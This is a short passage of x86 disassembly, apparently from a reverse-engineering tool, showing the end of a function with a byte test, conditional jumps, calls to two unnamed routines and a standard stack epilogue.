pop ecx
jmp 0x41f314
lea eax, [ebp + 0xc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x41f306
push 0
call fcn.0040a6f5
pop ecx
jmp 0x41f314
push 0
push 1
push 0
call fcn.0040e4a9
add esp, 0xc
mov esp, ebp
pop ebp
ret